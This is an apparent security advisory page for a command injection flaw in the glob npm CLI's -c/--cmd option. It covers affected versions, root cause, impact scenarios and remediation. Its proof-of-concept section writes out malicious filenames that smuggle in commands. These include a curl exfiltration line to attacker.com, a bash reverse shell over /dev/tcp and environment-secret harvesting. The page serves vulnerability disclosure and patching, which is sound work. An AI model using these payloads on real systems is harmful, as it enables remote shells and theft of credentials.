--- title: "GHSA-5j98-mcp5-4vw2: glob CLI: Command injection via -c/--cmd executes matches with shell:true" description: "High severity. glob CLI: Command injection via -c/--cmd executes matches with shell:true. Affects glob; fixed in 11.1.0." url: https://inlinr.com/advisories/GHSA-5j98-mcp5-4vw2 lang: en --- [Packages](https://inlinr.com/packages) / [glob](https://inlinr.com/packages/glob) / [Security](https://inlinr.com/packages/glob/security) High Vulnerability GHSA-5j98-mcp5-4vw2 CVE-2025-64756 Published 17 Nov 2025 # glob CLI: Command injection via -c/--cmd executes matches with shell:true Your version Affected releases · [glob](https://inlinr.com/packages/glob) - 11.x 11.0.0 – 11.0.3 Fixed in 11.1.0 - 10.x 10.2.0 – 10.4.5 Fixed in 10.5.0 On 11.x, the newest line: ``` npm install glob@11.1.0 ``` Every release on a timeline 14.x 1. Not affected 14.0.0 – 14.0.3 4 releases, latest 11.x 1. Affected 11.0.0 – 11.0.3 4 releases 2. Fixed 11.1.0 1 release 10.x 1. Not affected 10.0.0 – 10.1.0 2 releases 2. Affected 10.2.0 – 10.4.5 31 releases 3. Fixed 10.5.0 1 release 186 stable releases of glob, oldest to newest, one row per major. ## What happens Summary The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c ` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. Details **Root Cause:**The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`: ``` stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) ``` **Technical Flow:** 1. User runs `glob -c ` 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using `shell: true` 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands **Affected Component:** - **CLI Only:** The vulnerability affects only the command-line interface - **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected - **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems) **Attack Surface:** - Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using `glob -c` on untrusted content PoC **Setup Malicious File:** ``` mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' ``` **Trigger Vulnerability:** ``` # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" ``` **Result:** - The echo command executes normally - **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell - A new file `injected_poc` is created, proving command execution - Any command can be injected this way with full user privileges **Advanced Payload Examples:** **Data Exfiltration:** ``` # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ``` **Reverse Shell:** ``` # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ``` **Environment Variable Harvesting:** ``` # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ``` Impact **Arbitrary Command Execution:** - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network **Real-World Attack Scenarios:** **1\. CI/CD Pipeline Compromise:** - Malicious PR adds files with crafted names to repository - CI pipeline uses `glob -c` to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering **2\. Developer Workstation Attack:** - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use `glob -c` for file processing - Developer machine compromise with access to SSH keys, tokens, local services **3\. Automated Processing Systems:** - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement **4\. Supply Chain Poisoning:** - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems **Platform-Specific Risks:** - **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing - **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - **Mixed Environments:** CI systems often use Linux containers regardless of developer platform Affected Products - **Ecosystem:** npm - **Package name:** glob - **Component:** CLI only (`src/bin.mts`) - **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched) - **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option) - **Patched versions:** 11.1.0and 10.5.0 **Scope Limitation:** - **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe - **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable Remediation - Upgrade to `glob@10.5.0`, `glob@11.1.0`, or higher, as soon as possible. - If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead. - As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results. ## How it is exploited Exploitable over the network, with a low-privilege account and no action from a user. - **Confidentiality**: high - **Integrity**: high - **Availability**: high CVSS:3.1/​AV:N/​AC:H/​PR:L/​UI:N/​S:U/​C:H/​I:H/​A:H ## References - [Reference](https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2 "https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2") github.com/isaacs/node-glob/security/advisories… - [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-64756 "https://nvd.nist.gov/vuln/detail/CVE-2025-64756") nvd.nist.gov/vuln/detail/CVE-2025-64756 - [Fix commit](https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f "https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f") 1e4e297 - [Fix commit](https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146 "https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146") 47473c0 - [Package](https://github.com/isaacs/node-glob "https://github.com/isaacs/node-glob") github.com/isaacs/node-glob